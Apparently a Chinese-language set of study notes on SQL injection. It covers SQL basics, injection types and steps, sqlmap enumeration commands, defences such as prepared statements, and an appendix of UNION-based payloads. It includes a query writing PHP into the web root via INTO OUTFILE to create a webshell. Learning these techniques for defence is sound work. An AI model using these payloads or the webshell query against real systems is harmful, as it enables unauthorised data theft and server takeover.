SQL注入漏洞学习笔记
SQL注入漏洞学习笔记(第一部分:数据库基础)
1. 数据库基础
1.1 什么是数据库?
- 定义:数据库是一个电子仓库,用于存储和管理数据。用户可以对数据进行新增、查询、更新、删除等操作。
- 示例:通讯录是一个简单的数据库,存储姓名和电话号码。
1.2 查询语句(SELECT)
功能:从数据库中检索数据。
示例与原理:
SELECT * FROM users;
*
表示所有列。- 执行后返回
users
表中所有用户的信息。
SELECT name, email FROM users WHERE gender = 'male';
- 仅返回
name
和email
列,且筛选条件为gender = 'male'
。
SELECT COUNT(*) FROM users;
COUNT(*)
统计表中的总行数。
1.3 UNION 查询
功能:合并多个 SELECT
的结果集,并自动去重。
语法规则:
- 每个
SELECT
的列数必须相同。 - 列的数据类型必须兼容。
示例:
SELECT name FROM students UNION SELECT name FROM teachers;
- 合并
students
和teachers
表的name
列,并去重。
UNION vs UNION ALL:
UNION
去重,UNION ALL
保留所有记录(效率更高)。
1.4 information_schema 数据库
功能:存储数据库的元数据(如库名、表名、列名等)。
核心表:
- schemata:存储所有数据库名(
schema_name
)。 - tables:存储所有表信息(
table_schema
表所属数据库,table_name
表名)。 - columns:存储所有列信息(
column_name
列名)。
示例:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'test_db';
- 查询
test_db
数据库中的所有表名。
1.5 SQL 高级操作
1.5.1 排序(ORDER BY)
SELECT * FROM users ORDER BY name ASC;
ASC
表示升序,DESC
表示降序。
利用 ORDER BY 判断列数(SQL注入关键步骤):
SELECT user, password FROM users ORDER BY 2;
- 按第2列(
password
)排序。若改为ORDER BY 3
报错,则说明表中只有2列。
1.5.2 限定行数(LIMIT)
SELECT * FROM users LIMIT 2;
- 返回前2行数据。
SELECT user, password FROM users LIMIT 0,1;
- 从第0行开始,返回1行数据(常用于分页)。
1.6 字符连接函数
-
CONCAT(str1, str2, …):无分隔符连接。
SELECT CONCAT(user_id, username) FROM users;
输出示例:
1admin
-
CONCAT_WS(分隔符, str1, str2, …):带分隔符连接。
SELECT CONCAT_WS('-', user_id, username) FROM users;
输出示例:
1-admin
-
GROUP_CONCAT():合并组内所有值,逗号分隔。
SELECT GROUP_CONCAT(username) FROM users;
输出示例:
admin,user1,user2
1.7 截取函数
-
SUBSTR(str, start, length):
SELECT SUBSTR("abcdef", 2, 3);
输出:
bcd
(从第2个字符开始截取3个字符)。 -
MID(str, start, length):
SELECT MID(database(), 1, 1);
输出当前数据库名的第一个字符(如
t
)。
1.8 常用函数
version()
:返回数据库版本。user()
:返回当前登录用户。database()
:返回当前数据库名。@@datadir
:返回数据库存储路径。
示例:
SELECT database(), user();
输出示例:test_db, root@localhost
1.9 注释符
- 单行注释:
SELECT * FROM users; # 注释内容 SELECT * FROM users; --+ 注释内容
- 多行注释:
/* SELECT * FROM users WHERE id = 1; */
SQL注入中的应用:
SELECT * FROM users WHERE id = '1' AND 1=1--+';
--+
注释掉后续代码,使AND 1=1
生效,绕过密码验证。
SQL注入漏洞学习笔记(第二部分:SQL注入漏洞简介)
2. SQL注入漏洞简介
2.1 什么是SQL注入?
- 定义:SQL注入是一种Web安全漏洞,攻击者通过向应用程序输入恶意SQL语句,操控数据库查询逻辑,从而获取未授权数据或执行恶意操作。
- 成因:前端输入未经过严格过滤,直接拼接到SQL语句中执行。
示例:
SELECT * FROM users WHERE id = '$id';
- 正常输入:
$id = 1
,查询用户ID为1的信息。 - 恶意输入:
$id = 1' OR '1'='1
,拼接后:
返回所有用户信息(SELECT * FROM users WHERE id = '1' OR '1'='1';
'1'='1'
永远为真)。
2.2 SQL注入的危害
- 数据库信息泄露:获取用户隐私数据(如密码、邮箱)。
- 网页篡改:通过修改数据库内容,篡改网页显示。
- 挂马攻击:在数据库中插入恶意链接,传播恶意软件。
- 数据库被恶意操作:删除表、修改数据等。
- 服务器被控制:通过数据库执行系统命令,获取服务器权限。
- 系统瘫痪:破坏数据库或服务器数据,导致系统崩溃。
2.3 SQL注入原理
攻击流程:
- 攻击者在页面输入恶意字符(如
1' OR '1'='1
)。 - 服务器未过滤输入,直接拼接到SQL语句中执行。
- 攻击者通过构造恶意SQL语句,获取敏感信息或执行恶意操作。
示例:
SELECT * FROM users WHERE id = '$id';
- 输入:
$id = 1' AND 1=1--+
- 拼接后:
SELECT * FROM users WHERE id = '1' AND 1=1--+';
AND 1=1
永远为真,返回用户ID为1的信息。--+
注释掉后续代码,避免语法错误。
2.4 SQL注入分类
2.4.1 基于响应方式
- 基于错误的SQL注入:通过错误信息获取数据库结构。
- 联合查询注入(UNION注入):利用
UNION
合并查询结果。 - 堆查询注入:一次执行多条SQL语句(如
;
分隔)。 - 盲注:
- 布尔盲注:通过页面返回的真假判断信息。
- 时间盲注:通过延时函数(如
SLEEP()
)判断。
2.4.2 基于输入数据类型
- 字符串型注入:输入被单引号包裹(如
'$id'
)。 - 数字型注入:输入为数字(如
$id
)。
2.5 SQL注入示例
示例1:基于错误的注入
SELECT * FROM users WHERE id = '$id';
- 输入:
$id = 1'
- 拼接后:
SELECT * FROM users WHERE id = '1'';
- 单引号未闭合,导致SQL语法错误,返回数据库错误信息。
示例2:联合查询注入
SELECT name, email FROM users WHERE id = '$id';
- 输入:
$id = 1' UNION SELECT username, password FROM admins--+
- 拼接后:
SELECT name, email FROM users WHERE id = '1' UNION SELECT username, password FROM admins--+';
- 返回
users
表和admins
表的数据。
- 返回
2.6 SQL注入步骤
-
判断是否存在注入:
- 输入
1' AND 1=1--+
和1' AND 1=2--+
,观察页面响应。 - 若
1=1
返回正常,1=2
返回异常,则存在注入。
- 输入
-
判断注入类型:
- 输入
1'
,若报错则为字符串型注入。 - 输入
1
,若无报错则为数字型注入。
- 输入
-
判断数据库类型:
- 通过错误信息或特定函数(如
version()
)判断。
- 通过错误信息或特定函数(如
-
获取数据库信息:
- 查询库名、表名、列名(利用
information_schema
)。
- 查询库名、表名、列名(利用
-
提取数据:
- 使用
UNION
查询或盲注技术获取数据。
- 使用
-
进一步操作:
- 修改数据、执行命令等。
2.7 SQL注入工具(SQLMap)
功能:自动化检测和利用SQL注入漏洞。
支持数据库:MySQL、PostgreSQL、SQL Server等。
常用命令:
sqlmap -u "http://example.com/page?id=1"
- 检测目标URL是否存在SQL注入漏洞。
sqlmap -u "http://example.com/page?id=1" --dbs
- 获取所有数据库名。
sqlmap -u "http://example.com/page?id=1" -D test_db --tables
- 获取
test_db
数据库中的所有表名。
SQL注入漏洞学习笔记(第三部分:SQL注入防护与延伸)
3. SQL注入防护
3.1 采用预编译语句(Prepared Statements)
原理:
- SQL语句与用户输入分离,输入内容仅作为参数传递,不会被解析为SQL代码。
- 预编译语句在数据库端预先编译,执行时仅传递参数值,避免SQL注入。
示例:
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
?
是占位符,setInt
方法将userId
作为参数传递,避免拼接SQL语句。
优点:
- 提高代码可读性和可维护性。
- 防止SQL注入,提升安全性。
3.2 输入验证与过滤
原则:
- 对用户输入进行严格验证,确保符合预期格式(如数字、字母等)。
- 过滤特殊字符(如单引号、双引号、分号等)。
示例:
$id = $_GET['id'];
if (!is_numeric($id)) {
die("Invalid input");
}
- 确保
id
为数字,否则拒绝请求。
过滤函数:
- PHP:
mysqli_real_escape_string()
- Python:
escape_string()
3.3 参数化查询
原理:
- 将用户输入作为参数传递,而非直接拼接到SQL语句中。
示例:
query = "SELECT * FROM users WHERE id = %s"
cursor.execute(query, (user_id,))
%s
是占位符,user_id
作为参数传递,避免SQL注入。
3.4 使用安全参数
数据库安全配置:
- 设置数据库的安全参数,限制用户权限。
- 例如,MySQL 的
secure_file_priv
参数控制文件读写权限。
查看配置:
SHOW VARIABLES LIKE 'secure_file_priv';
NULL
:禁止文件读写。- 指定路径:仅允许读写指定目录。
- 空值:无限制(不推荐)。
3.5 权限控制
原则:
- 普通用户与管理员用户权限分离。
- 普通用户禁止执行高危操作(如
DROP TABLE
)。
示例:
- 普通用户仅允许
SELECT
操作。 - 管理员用户允许
CREATE
、DROP
、ALTER
等操作。
3.6 分级管理
原则:
- 对用户进行分级管理,严格控制权限。
- 普通用户禁止操作数据库结构(如创建、删除表)。
示例:
- 应用程序用户仅能访问特定表,无法访问系统表。
4. SQL注入延伸
4.1 SQLMap 工具
功能:
- 自动化检测和利用SQL注入漏洞。
- 支持多种数据库(MySQL、PostgreSQL、SQL Server等)。
常用命令:
sqlmap -u "http://example.com/page?id=1"
- 检测目标URL是否存在SQL注入漏洞。
sqlmap -u "http://example.com/page?id=1" --dbs
- 获取所有数据库名。
sqlmap -u "http://example.com/page?id=1" -D test_db --tables
- 获取
test_db
数据库中的所有表名。
4.2 SQL注入 Getshell
条件:
- 数据库支持文件读写(
secure_file_priv
为空或指定路径)。 - 目标服务器存在可写目录。
示例:
SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/shell.php';
- 将PHP代码写入服务器文件,生成Webshell。
防护:
- 限制数据库文件读写权限。
- 检查服务器目录权限。
4.3 ASP/PHP 防注入实验
ASP 防注入:
- 过滤
Request.QueryString
和Request.Form
中的特殊字符。
PHP 防注入:
- 使用
mysqli_real_escape_string()
或PDO
预处理语句。
示例:
$id = mysqli_real_escape_string($conn, $_GET['id']);
$sql = "SELECT * FROM users WHERE id = '$id'";
- 对用户输入进行转义,防止SQL注入。
5. 总结
SQL注入的核心防护措施:
- 预编译语句:避免SQL语句拼接。
- 输入验证与过滤:确保输入数据合法。
- 权限控制:限制用户操作权限。
- 安全配置:设置数据库安全参数。
学习建议:
- 动手实践:搭建测试环境,尝试SQL注入与防护。
- 使用工具:熟悉SQLMap等工具的使用。
- 关注安全:了解最新的SQL注入攻击与防护技术。
附录:常见SQL注入Payload
-
检测注入点:
' AND 1=1--+ ' AND 1=2--+
-
获取数据库信息:
' UNION SELECT 1, version(), 3--+
-
获取表名:
' UNION SELECT 1, table_name, 3 FROM information_schema.tables--+
-
获取列名:
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--+
-
获取数据:
' UNION SELECT 1, username, password FROM users--+